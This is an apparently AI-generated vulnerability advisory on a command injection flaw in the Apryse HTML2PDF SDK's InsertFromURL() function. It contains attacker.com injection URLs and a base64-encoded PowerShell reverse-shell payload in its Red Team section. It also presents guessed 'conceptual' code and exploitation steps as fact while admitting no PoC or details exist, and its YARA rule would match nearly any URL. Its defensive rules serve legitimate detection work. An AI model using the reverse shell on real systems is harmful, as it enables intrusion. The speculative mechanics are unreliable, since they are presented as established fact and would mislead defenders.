CVE-2025-56590

Executive Summary

CVE-2025-56590 is a critical vulnerability in the Apryse HTML2PDF SDK, affecting versions up to and including 11.10. The flaw resides in the InsertFromURL() function, which fails to properly sanitize user-supplied URLs, allowing an attacker to inject and execute arbitrary operating system commands on the local server. This vulnerability can lead to full server compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or patch details are currently available, but the risk is severe due to the potential for remote code execution (RCE).

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby) but affects a proprietary SDK. Organizations using Apryse HTML2PDF SDK should treat this as a critical supply chain risk and immediately isolate affected systems.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely via a crafted URL.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full system access allows data theft.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Attacker can disrupt services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The InsertFromURL() function in the Apryse HTML2PDF SDK is designed to fetch content from a given URL and convert it to PDF. The vulnerability arises because the function does not validate or sanitize the URL parameter before passing it to underlying system calls (e.g., wget, curl, or a custom HTTP client). An attacker can inject command separators (e.g., ;, |, `, $()) into the URL to execute arbitrary commands.

Example Attack Vector:

http://attacker.com/evil.pdf;id

If the SDK passes this URL to a shell command like wget http://attacker.com/evil.pdf;id, the id command will be executed on the server.

Root Cause: Lack of input validation and use of shell execution functions (e.g., system(), exec(), popen()) without proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual)

// Apryse HTML2PDF SDK (v11.10)
public void InsertFromURL(string url)
{
    // Unsafe: directly passes user input to shell
    string command = $"wget -O temp.html {url}";
    System.Diagnostics.Process.Start("cmd.exe", $"/c {command}");
}

Patched Code (Expected)

// Patched version (hypothetical)
public void InsertFromURL(string url)
{
    // Validate URL format
    if (!Uri.TryCreate(url, UriKind.Absolute, out Uri uri))
        throw new ArgumentException("Invalid URL");

    // Use safe HTTP client instead of shell
    using (var client = new HttpClient())
    {
        var response = client.GetAsync(uri).Result;
        // Process response safely
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Apryse HTML2PDF SDK instance (v11.10 or earlier).
• Network access to the target server.

Exploitation Steps:

1. Identify the vulnerable endpoint that calls InsertFromURL().
2. Craft a malicious URL with command injection:

   http://attacker.com/payload.pdf;calc.exe
   

3. Send the request to the target server.
4. Observe command execution (e.g., calculator popup on Windows, or reverse shell).

Example Payload (Reverse Shell):

http://attacker.com/payload.pdf;powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAyACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACkAOwAkAHMAZQBuAGQAYgBhAGMAawBfAGIAeQB0AGUAcwAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAYQBjAGsAXwBiAHkAdABlAHMALAAwACwAIAAkAHMAZQBuAGQAYgBhAGMAawBfAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to the HTML2PDF endpoint containing shell metacharacters (;, |, `, $()).
• Look for child processes spawned by the application (e.g., cmd.exe, powershell.exe, /bin/sh).

Hunting:

• Search logs for InsertFromURL calls with suspicious URLs.
• Use process monitoring tools (e.g., Sysmon) to detect anomalous command execution.

Mitigation:

• Immediately upgrade to a patched version if available.
• Implement input validation and use safe API calls (e.g., HttpClient instead of shell commands).
• Apply Web Application Firewall (WAF) rules to block command injection patterns.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_56590_Apryse_HTML2PDF {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56590 in Apryse HTML2PDF SDK"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-56590"
    strings:
        $s1 = "InsertFromURL" ascii wide nocase
        $s2 = "http://" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "`" ascii wide
        $s6 = "$(" ascii wide
    condition:
        $s1 and ($s2 or $s3 or $s4 or $s5 or $s6)
}

Sigma Rule

title: CVE-2025-56590 - Apryse HTML2PDF Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via InsertFromURL function
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
        ParentImage|endswith: '\html2pdf.exe'
    condition: selection
falsepositives:
    - Legitimate use of command-line tools by the application
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56590 - Apryse HTML2PDF Command Injection"; flow:to_server; content:"InsertFromURL"; http_uri; pcre:"/(;|\||\x60|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate all systems running Apryse HTML2PDF SDK v11.10 or earlier.
   • Disable the InsertFromURL() function if not required.
   • Apply network segmentation to limit exposure.

2. Long-term Fix:

   • Contact Apryse for a patched version.
   • Implement input validation and use safe HTTP libraries.
   • Conduct a security audit of all SDK functions.

3. Compensating Controls:

   • Deploy WAF rules to block command injection patterns.
   • Enable application whitelisting to prevent unauthorized executables.
   • Monitor logs for suspicious activity.

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.